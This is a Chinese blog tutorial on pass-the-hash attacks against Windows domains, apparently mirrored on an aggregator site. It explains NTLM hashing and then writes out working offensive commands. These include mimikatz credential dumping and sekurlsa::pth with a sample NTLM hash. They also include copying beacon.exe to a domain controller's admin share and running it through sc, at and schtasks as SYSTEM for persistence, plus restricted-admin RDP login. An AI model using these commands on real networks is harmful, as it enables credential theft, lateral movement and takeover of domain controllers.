当前位置: 首页 > news >正文

内网渗透之哈希传递

文章目录

  • 哈希传递(NTLM哈希)
    • 概念
      • LM
      • NTLM
    • 原理
    • 利用
      • hash传递获取域控RDP
    • ==总结==

哈希传递(NTLM哈希)

内网渗透中找到域控IP后使用什么攻击手法拿下域控:

  • 扫描域控开放端口。因为域控会开放远程连接:windows开放3389端口,Linux开放22端口

概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM(认证协议)

LM

image-20231009191217388

NTLM

三次编码:

  • 十六进制编码
  • Unicode编码
  • 最后进行MD4加密

image-20231009144240124

MD4算法不可逆 无法进行逆推

哈希传递只针对相同密码进行攻击,哈希传递要求对方的密码和自己的密码相同,同密码是存在风险的,哈希传递可以实现无明文密码绕过认证,进行登录

原理

image-20231009204356686

image-20231009192233867

什么是hash传递?

哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。通过哈希传递,攻击者不需要花时间破解哈希值得到明文,往往会使用工具将哈希值传递到其他计算机中进行登录验证。

哈希传递必须要有哈希值,在内网渗透的时候拿下了一台主机,windows中明文密码无法抓取,电脑的密码文件存储在SAM文件中,而SAM中存储的是哈希值(NTLM哈希)。NTLM哈希值可以通过工具抓取。

利用

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服

务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及⼀些其他信息在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz运行前提是system用户,mimikatz在windows系统中可以利用管理员用户自动提升为system用户

image-20231009205801150

image-20231009205901401

privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息sekurlsa::pth /user:administrator/domain:qf.com/ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口dir \\域控IP\c$

image-20231009210941144

image-20231009211138148

pth:pass the hash告诉猕猴桃要进行哈希传递了

image-20231009212137413

弹出窗口表示装配好攻击设备,想攻击哪个主机就通过dir告诉要攻击哪个主机的IP

image-20231009212336739

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath="c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \\10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

image-20231009214553507

image-20231009214625336

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

总结

哈希传递是针对相同密码的用户认证之间发起的攻击,如果当域内的其他主机密码和失陷主机的密码一致,那么哈希值一致,哈希值一致就能够不使用明文密码的登陆对方主机的远程桌面,查看对方主机的C盘查看文件等操作。

http://www.lryc.cn/news/187297.html

相关文章:

  • Haar cascade+opencv检测算法
  • 跨域请求方案整理实践
  • Git Pull failure 【add/commit】
  • 单链表习题(对应章节chapter2)
  • SQL创建新表
  • Python视频剪辑-Moviepy视频尺寸和颜色调整技巧
  • 前端笔记:Create React App 初始化项目的几个关键文件解读
  • 提高工作效率!本地部署Stackedit Markdown编辑器,并实现远程访问
  • visual studio解决bug封装dll库
  • 合肥工业大学自然语言处理实验报告
  • layui laydate实现日期选择并禁用指定的时间
  • scala数组函数合集
  • 软件测试「转行」答疑(未完更新中)
  • 计算机网络---TCP/UDP
  • Docker私有仓库打开2375端口(linux)
  • 底部Taber的抽取
  • Bootstrap中固定某一个元素不随滚动条滚动
  • 时序数据库 IoTDB 发布端边云原生解决方案,有效优化工业互联网数据上传时效与资源消耗...
  • Spring Boot中实现发送文本、带附件和HTML邮件
  • MySQL5.7版本与8.0版本在CentOS系统安装
  • 【gitlab】从其他仓库创建项目
  • 【ARM CoreLink 系列 6 -- DMC-400控制器简介】
  • 在 Azure 中开发云原生应用程序:工具和技巧
  • 【Redis】基础数据结构-字典
  • 平板第三方电容笔怎么样?便宜的ipad触控笔推荐
  • pytorch_神经网络构建3
  • 遗传算法入门笔记
  • 【golang】go 返回参数 以及go中 裸返
  • elasticsearch深度分页问题
  • 32、Flink table api和SQL 之用户自定义 Sources Sinks实现及详细示例